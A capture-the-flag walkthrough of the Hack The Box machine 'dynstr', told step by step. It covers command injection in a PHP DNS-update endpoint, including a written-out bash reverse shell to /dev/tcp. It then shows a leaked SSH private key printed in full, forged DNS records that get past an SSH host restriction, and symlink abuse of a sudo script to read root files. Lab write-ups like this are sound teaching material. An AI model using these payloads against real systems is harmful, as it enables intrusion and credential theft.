Namedynstr
DifficultyMedium
Release Date2021-06-12
Retired Date<don’t know>
IP Address10.10.10.244
OSLinux
Points30

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

So, on this part, there’s really nothing new, we start with nmap:

# Nmap 7.80 scan initiated Mon Jun 14 08:53:50 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.048s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 14 08:54:22 2021 -- 1 IP address (1 host up) scanned in 32.76 seconds

Very little information returned. Not too much services, and they even run on all the standard ports. I decided to jump right into the website.

website

website-services

So, a small website advertising a service like dyndns (name checks out at least πŸ˜‰), and it uses the same API as no-ip.com. For the moment, the service is still in beta with the following credentials:

  • user: dynadns
  • pass: sndanyd

Also, the available domains are (I supposed to register a domain to use):

  • dnsalias.htb
  • dynamicdns.htb
  • no-ip.htb

Looks like a good start to me. Now we need to check out the no-ip.com API to see how we can use the service. Meanwhile, and while searching for the API, let’s fire up a gobuster just in case:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ gobuster dir -u http://dynstr.htb -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.244
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/14 09:31:06 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/nic (Status: 301)
/server-status (Status: 403)
===============================================================
2021/06/14 09:32:57 Finished
===============================================================

The only thing out of the ordinary is the /nic endpoint, which is actually part of the API.

To make a quick resume of the API, there’s only one endpoint to it: /nic/update. This endpoint accepts several GET parameters:

  • hostname: the domain address to update
  • myip: the IP address it should update to. (optional)
  • myipv6: same as myip but for IPv6 (optional)
  • offline: sets the hostname to offline (optional)

After searching a little more of the website, and having found nothing, I thought that this should be the “entrance” to the box, so I decided to start tinkering with the parameters to check if I could inject something:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynstr.htb/nic/update?hostname=r3pek.no-ip.htb"
badauth

Ooops πŸ˜‡! Forgot the auth πŸ˜‰

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek.no-ip.htb"
good 10.10.14.240

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek.evil-no-ip.htb"
911 [wrngdom: evil-no-ip.htb]

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb"
good 10.10.14.240

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ nslookup
> server dynstr.htb
Default server: dynstr.htb
Address: 10.10.10.244#53
> r3pek.no-ip.htb
Server:		dynstr.htb
Address:	10.10.10.244#53

Name:	r3pek.no-ip.htb
Address: 10.10.14.240
> r3pek2.no-ip.htb     
Server:		dynstr.htb
Address:	10.10.10.244#53

Name:	r3pek2.no-ip.htb
Address: 10.10.14.240

Looks like we can create an arbitrary number of DNS entries with that credentials. Also, trying to update something not in the domains listed as supported returns 911 [wrngdom: <domain>], so the endpoint does have some kind of protection.

Seeing that the only returned data that I inserted was the IP address, I tried to fiddle with it:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=1.1.1.1"
good 1.1.1.1

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=1.1.1.'1"
good 10.10.14.240

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=$(echo 1)'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

Hummm this is interesting… πŸ€” maybe I can use some kind of command injection into this. In this cases, I normally start trying to run a sleep command remotely and once I got it, I know I have command injection and is just a matter of tweaking a little to make it go through the webserver parsing and, hopefully, any protection the underlying layer has.

After some trial and error I finally got it! (this are not actually all my tries, just a small sample)

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb`sleep 5`'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

real	0m0.117s
user	0m0.003s
sys	0m0.005s

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=`sleep 5`r3pek.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

real	0m0.118s
user	0m0.004s
sys	0m0.004s

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=`sleep 5`;r3pek.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

real	0m0.116s
user	0m0.006s
sys	0m0.002s

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(sleep%205)r3pek.no-ip.htb'
good 10.10.14.240

real	0m10.125s
user	0m0.006s
sys	0m0.003s

So a valid hostname for a command injection is $(sleep%205)r3pek.no-ip.htb'. There’s just one small problem, I’m actually sleeping 10s πŸ˜•?! Hope that doesn’t interfere with a reverse shell injection. Let’s try the standard bash one:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash -c "exec bash -i &>/dev/tcp/10.10.14.240/5555 <&1")r3pek
.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash -c "bash%20-i%20&>/dev/tcp/10.10.14.240/5555%20<&1")r3pe
k.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash%20-i%20&>/dev/tcp/10.10.14.240/5555%20<&1)r3pek.no-ip.ht
b'
911 [wrngdom: ]

Ah bummer… Maybe the problem is too many symbols in the command and it breaks something. Let’s see if base64 encoding helps:

foothold

Ah! Bingo!

user flag

Now to get the user flag we need to find it:

www-data@dynstr:/var/www/html/nic$ find /home -iname "user.txt"
find /home -iname "user.txt"
find: '/home/bindmgr/.cache': Permission denied
/home/bindmgr/user.txt
find: '/home/dyna/.cache': Permission denied

Flag is in the user bindmgr, so we need to figure out a way to escalate to that user. Let’s see what we can find with the access we have (www-data):

www-data@dynstr:/var/www/html/nic$ ls -lha
ls -lha
total 12K
drwxr-xr-x 2 root root 4.0K Mar 13 19:40 .
drwxr-xr-x 4 root root 4.0K Mar 20 10:00 ..
-rw-r--r-- 1 root root    0 Mar 12 19:41 index.html
-rw-r--r-- 1 root root 1.1K Mar 13 19:40 update
www-data@dynstr:/var/www/html/nic$ cd ..
cd ..
www-data@dynstr:/var/www/html$ ls -lha
ls -lha
total 32K
drwxr-xr-x 4 root root 4.0K Mar 20 10:00 .
drwxr-xr-x 3 root root 4.0K Mar 15 20:14 ..
drwxr-xr-x 6 root root 4.0K Mar 13 11:34 assets
-rw-r--r-- 1 root root  280 Mar 12 19:14 attribution.txt
-rw-r--r-- 1 root root  11K Mar 13 11:34 index.html
drwxr-xr-x 2 root root 4.0K Mar 13 19:40 nic
www-data@dynstr:/var/www/html$ cat nic/update
cat nic/update
<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>
www-data@dynstr:/var/www/html$ 

The webserver root doesn’t have much stuff in it, but now we can see why the command injection worked. The update endpoint is actually a PHP file and it’s executing the system() function to call nsupdate command and create (deleting it before if it existed) the domain we requested on the hostname parameter. This might come in handy so let’s just save it for later.

Let’s check bindmgr home folder now:

www-data@dynstr:/var/www/html$ cd /home/bindmgr
cd /home/bindmgr
www-data@dynstr:/home/bindmgr$ ls -lha
ls -lha
total 36K
drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 .
drwxr-xr-x 4 root    root    4.0K Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3.7K Feb 25  2020 .bashrc
drwx------ 2 bindmgr bindmgr 4.0K Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Jun 15 16:28 user.txt
www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls
ls
C62796521-debugging.script
C62796521-debugging.timing
command-output-C62796521.txt
strace-C62796521.txt
www-data@dynstr:/home/bindmgr/support-case-C62796521$ 

This looks interesting πŸ€”

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat command-output-C62796521.txt
<rt-case-C62796521$ cat command-output-C62796521.txt  
* Expire in 0 ms for 6 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
*   Trying 192.168.178.27...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x56090d2d1fb0)
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
* SSH public key authentication failed: Callback returned error
* Failure connecting to agent
* Authentication failure
* Closing connection 0

A support case for a SSH session that’s failing? Let’s check the other files. The strace-C62796521.txt file is huge so I won’t add it here (it’s linked), but it’s actual the one we’re interested in. Near the end of the file we can see this:

15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
15123 read(5, "", 4096)                 = 0
15123 close(5)                          = 0

This is actually the id_rsa, the private key file for the bindmgr user! If it is on the authorized_keys file we’re golden!

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cd ../.ssh
cd ../.ssh
www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys
cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

Good news is, the key is there. Bad news is the connection has to come from an .infra.dyna.htb domain. My first reaction was to check if that domain was hosted on this server:

www-data@dynstr:/home/bindmgr/.ssh$ ls /etc/bind -lh
ls /etc/bind -lh
total 60K
-rw-r--r-- 1 root root 2.0K Feb 18 04:28 bind.keys
-rw-r--r-- 1 root root  237 Dec 17  2019 db.0
-rw-r--r-- 1 root root  271 Dec 17  2019 db.127
-rw-r--r-- 1 root root  237 Dec 17  2019 db.255
-rw-r--r-- 1 root root  353 Dec 17  2019 db.empty
-rw-r--r-- 1 root root  270 Dec 17  2019 db.local
-rw-r--r-- 1 root bind  100 Mar 15 20:44 ddns.key
-rw-r--r-- 1 root bind  101 Mar 15 20:44 infra.key
drwxr-sr-x 2 root bind 4.0K Mar 15 20:42 named.bindmgr
-rw-r--r-- 1 root bind  463 Dec 17  2019 named.conf
-rw-r--r-- 1 root bind  498 Dec 17  2019 named.conf.default-zones
-rw-r--r-- 1 root bind  969 Mar 15 20:46 named.conf.local
-rw-r--r-- 1 root bind  895 Mar 15 20:46 named.conf.options
-rw-r----- 1 bind bind  100 Mar 15 20:14 rndc.key
-rw-r--r-- 1 root root 1.3K Dec 17  2019 zones.rfc1918
www-data@dynstr:/home/bindmgr/.ssh$ cat /etc/bind/named.conf
cat /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
www-data@dynstr:/home/bindmgr/.ssh$ cat /etc/bind/named.conf.local
cat /etc/bind/named.conf.local
//
// Do any local configuration here
//

// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };

// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";

Looks like it is, and it actually is “updatable” via nsupdate and using /etc/bind/infra.key as a key. So, we the help of the update PHP script from before, and this new information, we can create our own record pointing to our IP address and be able to login because we come from a valid domain. Let’s not forget, and I did help lots of people on the HTB Discord server, is that sshd doesn’t “know” the connecting party is something.infra.dyna.htb, it only sees and IP address, in this case it will be 10.10.14.240. For sshd to know who is 10.10.14.240, it issues a “reverse DNS” request to the DNS server, which in fact is just asking for a translation from 10.10.14.240 to a domain (the inverse of the “normal” DNS request). For that to work, besides adding the “normal” A DNS record, we need to add a PTR DNS record that points to something.infra.dyna.htb. So, let’s put all this in pratice:

www-data@dynstr:/home/bindmgr$ printf "server 127.0.0.1\nzone dyna.htb\nupdate delete r3pek.infra.dyna.htb\nupdate add r3pek.infra.dyna.htb 30 IN A 10.10.14.240\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
<\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
www-data@dynstr:/home/bindmgr$ printf "server 127.0.0.1\nzone 10.in-addr.arpa\nupdate delete 240.14.10.10.in-addr.arpa\nupdate add 240.14.10.10.in-addr.arpa 30 IN PTR r3pek.infra.dyna.htb.\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
<\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
www-data@dynstr:/home/bindmgr$

⚠️ Notice how the PTR record is inserted with the IP address in reverse and points to the DNS entry we created before.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/dynstr]
└─$ ssh -i bindmgr-id_rsa bindmgr@10.129.160.221
Last login: Wed Jun 16 02:31:15 2021 from r3pek.infra.dyna.htb
bindmgr@dynstr:~$ cat user.txt
397287bc2f79718d323a3ec0eef340d6
bindmgr@dynstr:~$ 

user flag accomplished ;)

root flag

Let’s start with checking what can we run as root:

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
	systemctl status bind9
    else
	echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi
bindmgr@dynstr:~$ 

So, we’re entitled to run this /usr/local/bin/bindmgr.sh script that basically copies every file on the current directory into /etc/bind/named.bindmgr and creates /etc/bind/named.conf.bindmgr which will include all the files we copied so that it can be easily included from the main /etc/bind/named.conf config file.

OK OK I get it, sysadmin was lazy. So let’s just see how this works:

bindmgr@dynstr:~$ mkdir test
bindmgr@dynstr:~/test$ cd test
bindmgr@dynstr:~/test$ echo test > file1
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[-] ERROR: Check versioning. Exiting.
bindmgr@dynstr:~/test$ echo 2 > .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/file1:1: unknown option 'test'
    /etc/bind/named.conf.bindmgr:3: unexpected token near end of file
bindmgr@dynstr:~/test$ ls /etc/bind/named.bindmgr -lha
total 16K
drwxr-sr-x 2 root bind 4.0K Jun 16 02:42 .
drwxr-sr-x 3 root bind 4.0K Jun 16 02:42 ..
-rw-r--r-- 1 root bind    5 Jun 16 02:42 file1
-rw-r--r-- 1 root bind    2 Jun 16 02:42 .version

So, files were copied over and are now all owned by root, as expected. So what happens if a file is actually a link?! πŸ€”

bindmgr@dynstr:~/test$ rm file1
bindmgr@dynstr:~/test$ ln -s /root/root.txt
bindmgr@dynstr:~/test$ ls -lh
total 0
lrwxrwxrwx 1 bindmgr bindmgr 14 Jun 16 02:43 root.txt -> /root/root.txt
bindmgr@dynstr:~/test$ cat root.txt
cat: root.txt: Permission denied
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/root.txt:1: unknown option '350e23eb5cc5fbe1199876105561a1...'
    /etc/bind/named.conf.bindmgr:3: unexpected token near end of file

AAAHHHHH 😠!! We almost got it. There’s 2 missing characters on the flag. But wait, what if it’s actually the .version file that is pointing to the flag?

bindmgr@dynstr:~/test$ rm root.txt .version
bindmgr@dynstr:~/test$ ln -s /root/root.txt .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
